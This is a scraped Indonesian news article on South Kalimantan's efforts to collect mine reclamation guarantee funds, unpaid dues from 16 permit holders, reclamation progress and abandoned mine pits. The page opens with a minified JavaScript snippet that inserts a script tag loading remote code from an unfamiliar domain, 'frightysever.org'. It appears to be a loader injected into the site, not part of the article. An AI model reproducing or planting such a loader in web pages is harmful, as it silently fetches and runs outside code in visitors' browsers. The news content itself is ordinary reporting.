(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Upaya Pemprov Kalsel mengejar dana Jaminan Reklamasi (Jamrek) Tambang sudah mencapai Rp 510 miliar dan USD 2,5 Juta. Namun semikian, hingga Agustus lalu masih ada utang dana Jamrek yang belum terbayar sebesar Rp 32 miliar.
Menurut Dinas ESDM Provinsi Kalsel, hingga Agustus 2019 lalu, dana jaminan reklamasi lahan tambang yang belum disetorkan perusahaan pemegang IUP di Kalsel saat ini masih menyisakan Rp 32 miliar. Jumlah tersebut merupakan sisa tunggakan dana jaminan reklamasi dari 16 perusahaan pemegang IUP, dimana hingga saat ini ada total 222 perusahaan tambang yang kantongi IUP di Kalsel.
Terkait dana yang masih belum terbayar itu, Kepala Dinas ESDM Provinsi Kalsel, Kelik Isharwanto nyatakan akan tetap meminta perusahaan penunggak memenuhi kewajibannya.“Sekarang sudah melewati penagihan tahap kedua, nanti ketiga dan kalau sampai ke empat belum dibayar IUP terpaksa sementara kami cabut,” jelasnya.
Dari total 222 pemegang IUP di Kalsel pun tak semuanya dapat beroperasional dan mengapalkan hasil eksplorasi emas hitamnya ke luar Kalsel. Secara efektif hanya ada kurang lebih 80 perusahaan yang dapat kapalkan batubara ke luar Kalsel, pasalnya cukup banyak perusahaan yang belum menyelesaikan hutang Penerimaan Negara Bukan Pajak (PNBP).
“Yang masih ada hutang PNBP juga jaminan reklamasi tidak bisa kapalkan ke luar, itu juga sesuai aturan,” kata Isharwanto.
Tak hanya soal dana jaminan reklamasi dan PNBP, realisasi reklamasi lahan bekas pertambangan juga terus dimonitor Pemerintah Provinsi Kalsel. Menurut Isharwanto, lahan bekas pertambangan yang menjalani proses reklamasi mencapai luasan 46.607 hektare atau 60,82 persen dan yang sudah memasuki proses revegetasi mencapai luasan 16.286 hektareatau 21,2 persen dari total luasan bukaan tambang di Kalsel seluas 76.629 hektare.
Dinas ESDM Provinsi Kalsel bersama beberapa SKPD terkait menurutnya sempat diminta menghadap Menteri Lingkungan Hidup di Jakarta untuk menjelaskan kemajuan pengelolaan lahan bekas tambang di Banua. “Kami diminta menceritakan upaya yang dilakukan di Kalsel termasuk sebagai masukan pembentukan Inpres terkait reklamasi,” jelasnya.
Saat ini menurutnya, pihaknya dalam upaya mendalami penanganan lubang bekas tambang (void) di Kalsel yang tercatat sebanyak 196 lubang. Void-void tersebut menurutnya banyak yang merupakan bekas galian perusahaan tambang Pemegang Karya Pengusahaan Pertambangan Batubara (PKP2B) yang banyak tak lagi memiliki IUP saat ini.
Tak hanya melulu dijadikan objek wisata, Isharwanto nyatakan akan menggandeng akademisi untuk mencoba gali potensi pemanfaatan void tambang untuk hal bermanfaat lainnya.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.